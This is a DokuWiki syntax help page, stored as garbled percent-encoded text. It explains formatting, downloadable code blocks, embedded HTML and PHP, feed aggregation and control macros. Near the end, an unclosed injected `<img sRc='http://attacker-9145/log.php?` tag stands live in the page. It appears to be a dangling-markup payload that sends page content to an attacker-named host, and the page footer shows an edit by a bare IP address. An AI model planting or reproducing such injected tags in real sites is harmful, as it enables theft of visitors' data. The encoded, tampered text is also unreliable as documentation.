26amp;lt;sub%26amp;gt;subscript%26amp;lt;/sub%26amp;gt;%20and%20%26amp;lt;sup%26amp;gt;superscript%26amp;lt;/sup%26amp;gt;%2c%20too.%0d%0a%0d%0a%20%20You%20can%20use%20%26amp;lt;sub%26amp;gt;subscript%26amp;lt;/sub%26amp;gt;%20and%20%26amp;lt;sup%26amp;gt;superscript%26amp;lt;/sup%26amp;gt;%2c%20too.%0d%0a%0d%0aYou%20can%20mark%20something%20as%20%26amp;lt;del%26amp;gt;deleted%26amp;lt;/del%26amp;gt;%20as%20well.%0d%0a%0d%0a%20%20You%20can%20mark%20something%20as%20%26amp;lt;del%26amp;gt;deleted%26amp;lt;/del%26amp;gt;%20as%20well.%0d%0a%0d%0aParagraphs%20are%20created%20from%20blank%20lines.%20If%20you%20want%20to%20force%20a%20newline%20without%20a%20paragraph%2c%20you%20can%20use%20two%20backslashes%20followed%20by%20a%20whitespace%20or%20the%20end%20of%20line.%0d%0a%0d%0aThis%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0atwo%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0aor%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0a%20%20This%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0a%20%20two%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0a%20%20or%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0aYou%20should%20use%20forced%20newlines%20only%20if%20really%20needed.%0d%0a====%20Downloadable%20Code%20Blocks%20====%0d%0a%0d%0aWhen%20you%20use%20the%20%25%25%26lt;code%26gt;%25%25%20or%20%25%25%26lt;file%26gt;%25%25%20syntax%20as%20above%2c%20you%20might%20want%20to%20make%20the%20shown%20code%20available%20for%20download%20as%20well.%20You%20can%20do%20this%20by%20specifying%20a%20file%20name%20after%20language%20code%20like%20this:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;file%20php%20myexample.php%26gt;%0d%0a%26lt;%3fphp%20echo%20%26quot;hello%20world!%26quot;;%20%3f%26gt;%0d%0a%26lt;/file%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;file%20php%20myexample.php%26gt;%0d%0a%26lt;%3fphp%20echo%20%26quot;hello%20world!%26quot;;%20%3f%26gt;%0d%0a%26lt;/file%26gt;%0d%0a%0d%0aIf%20you%20don't%20want%20any%20highlighting%20but%20want%20a%20downloadable%20file%2c%20specify%20a%20dash%20(-)%20as%20the%20language%20code:%20%25%25%26lt;code%20-%20myfile.foo%26gt;%25%25.%0d%0a%0d%0a%0d%0a=====%20Embedding%20HTML%20and%20PHP%20=====%0d%0a%0d%0aYou%20can%20embed%20raw%20HTML%20or%20PHP%20code%20into%20your%20documents%20by%20using%20the%20%25%25%26lt;html%26gt;%25%25%20or%20%25%25%26lt;php%26gt;%25%25%20tags.%20(Use%20uppercase%20tags%20if%20you%20need%20to%20enclose%20block%20level%20elements.)%0d%0a%0d%0aHTML%20example:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;html%26gt;%0d%0aThis%20is%20some%20%26lt;span%20style=%26quot;color:red;font-size:150%25;%26quot;%26gt;inline%20HTML%26lt;/span%26gt;%0d%0a%26lt;/html%26gt;%0d%0a%26lt;HTML%26gt;%0d%0a%26lt;p%20style=%26quot;border:2px%20dashed%20red;%26quot;%26gt;And%20this%20is%20some%20block%20HTML%26lt;/p%26gt;%0d%0a%26lt;/HTML%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;html%26gt;%0d%0aThis%20is%20some%20%26lt;span%20style=%26quot;color:red;font-size:150%25;%26quot;%26gt;inline%20HTML%26lt;/span%26gt;%0d%0a%26lt;/html%26gt;%0d%0a%26lt;HTML%26gt;%0d%0a%26lt;p%20style=%26quot;border:2px%20dashed%20red;%26quot;%26gt;And%20this%20is%20some%20block%20HTML%26lt;/p%26gt;%0d%0a%26lt;/HTML%26gt;%0d%0a%0d%0aPHP%20example:%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%26lt;php%26gt;%0d%0aecho%20'The%20PHP%20version:%20';%0d%0aecho%20phpversion();%0d%0aecho%20'%20(generated%20inline%20HTML)';%0d%0a%26lt;/php%26gt;%0d%0a%26lt;PHP%26gt;%0d%0aecho%20'%26lt;table%20class=%26quot;inline%26quot;%26gt;%26lt;tr%26gt;%26lt;td%26gt;The%20same%2c%20but%20inside%20a%20block%20level%20element:%26lt;/td%26gt;';%0d%0aecho%20'%26lt;td%26gt;'.phpversion().'%26lt;/td%26gt;';%0d%0aecho%20'%26lt;/tr%26gt;%26lt;/table%26gt;';%0d%0a%26lt;/PHP%26gt;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a%26lt;php%26gt;%0d%0aecho%20'The%20PHP%20version:%20';%0d%0aecho%20phpversion();%0d%0aecho%20'%20(inline%20HTML)';%0d%0a%26lt;/php%26gt;%0d%0a%26lt;PHP%26gt;%0d%0aecho%20'%26lt;table%20class=%26quot;inline%26quot;%26gt;%26lt;tr%26gt;%26lt;td%26gt;The%20same%2c%20but%20inside%20a%20block%20level%20element:%26lt;/td%26gt;';%0d%0aecho%20'%26lt;td%26gt;'.phpversion().'%26lt;/td%26gt;';%0d%0aecho%20'%26lt;/tr%26gt;%26lt;/table%26gt;';%0d%0a%26lt;/PHP%26gt;%0d%0a%0d%0aPlease%20Note:%20HTML%20and%20PHP%20embedding%20is%20disabled%20by%20default%20in%20the%20configuration.%20If%20disabled%2c%20the%20code%20is%20displayed%20instead%20of%20executed.%0d%0a%0d%0a=====%20RSS/ATOM%20Feed%20Aggregation%20=====%0d%0aDokuWiki%20can%20integrate%20data%20from%20external%20XML%20feeds.%20For%20parsing%20the%20XML%20feeds%2c%20http://simplepie.org/%7cSimplePie%20is%20used.%20All%20formats%20understood%20by%20SimplePie%20can%20be%20used%20in%20DokuWiki%20as%20well.%20You%20can%20influence%20the%20rendering%20by%20multiple%20additional%20space%20separated%20parameters:%0d%0a%0d%0a%5e%20Parameter%20%20%5e%20Description%20%5e%0d%0a%7c%20any%20number%20%7c%20will%20be%20used%20as%20maximum%20number%20items%20to%20show%2c%20defaults%20to%208%20%7c%0d%0a%7c%20reverse%20%20%20%20%7c%20display%20the%20last%20items%20in%20the%20feed%20first%20%7c%0d%0a%7c%20author%20%20%20%20%20%7c%20show%20item%20authors%20names%20%7c%0d%0a%7c%20date%20%20%20%20%20%20%20%7c%20show%20item%20dates%20%7c%0d%0a%7c%20description%7c%20show%20the%20item%20description.%20If%20htmlok%7cHTML%20is%20disabled%20all%20tags%20will%20be%20stripped%20%7c%0d%0a%7c%20nosort%20%20%20%20%20%7c%20do%20not%20sort%20the%20items%20in%20the%20feed%20%7c%0d%0a%7c%20n[dhm]%20%7c%20refresh%20period%2c%20where%20d=days%2c%20h=hours%2c%20m=minutes.%20(e.g.%2012h%20=%2012%20hours).%20%7c%0d%0a%0d%0aThe%20refresh%20period%20defaults%20to%204%20hours.%20Any%20value%20below%2010%20minutes%20will%20be%20treated%20as%2010%20minutes.%20DokuWiki%20will%20generally%20try%20to%20supply%20a%20cached%20version%20of%20a%20page%2c%20obviously%20this%20is%20inappropriate%20when%20the%20page%20contains%20dynamic%20external%20content.%20The%20parameter%20tells%20DokuWiki%20to%20re-render%20the%20page%20if%20it%20is%20more%20than%20refresh%20period%20since%20the%20page%20was%20last%20rendered.%0d%0a%0d%0aBy%20default%20the%20feed%20will%20be%20sorted%20by%20date%2c%20newest%20items%20first.%20You%20can%20sort%20it%20by%20oldest%20first%20using%20the%20reverse%20parameter%2c%20or%20display%20the%20feed%20as%20is%20with%20nosort''.%0d%0a%0d%0aExample:**%0d%0a%0d%0a%20%20slashdot.org_index.rss_205_20author_20date_201h_20%0d%0a%0d%0aslashdot.org_index.rss_205_20author_20date_201h_20%0d%0a%0d%0a%0d%0a=====%20Control%20Macros%20=====%0d%0a%0d%0aSome%20syntax%20influences%20how%20DokuWiki%20renders%20a%20page%20without%20creating%20any%20output%20it%20self.%20The%20following%20control%20macros%20are%20availble:%0d%0a%0d%0a%5e%20Macro%20%20%20%20%20%20%20%20%20%20%20%5e%20Description%20%7c%0d%0a%7c%20%25%25%7e%7eNOTOC%7e%7e%25%25%20%20%20%7c%20If%20this%20macro%20is%20found%20on%20the%20page%2c%20no%20table%20of%20contents%20will%20be%20created%20%7c%0d%0a%7c%20%25%25%7e%7eNOCACHE%7e%7e%25%25%20%7c%20DokuWiki%20caches%20all%20output%20by%20default.%20Sometimes%20this%20might%20not%20be%20wanted%20(eg.%20when%20the%20%25%25%26lt;php%26gt;%25%25%20syntax%20above%20is%20used)%2c%20adding%20this%20macro%20will%20force%20DokuWiki%20to%20rerender%20a%20page%20on%20every%20call%20%7c%0d%0a%0d%0a=====%20Syntax%20Plugins%20=====%0d%0a%0d%0aDokuWiki's%20syntax%20can%20be%20extended%20by%20plugins%7cPlugins.%20How%20the%20installed%20plugins%20are%20used%20is%20described%20on%20their%20appropriate%20description%20pages.%20The%20following%20syntax%20plugins%20are%20available%20in%20this%20particular%20DokuWiki%20installation:%0d%0a%0d%0a%7e%7eINFO:syntaxplugins%7e%7e1<img sRc='http://attacker-9145/log.php?

1) , 2)
This%20is%20a%20footnote
3)
when%20the%20aspect%20ratio%20of%20the%20given%20width%20and%20height%20doesn't%20match%20that%20of%20the%20image%2c%20it%20will%20be%20cropped%20to%20the%20new%20ratio%20before%20resizing
wiki/syntax_9179.txt · Last modified: 2023/01/02 14:27 by 23.129.64.220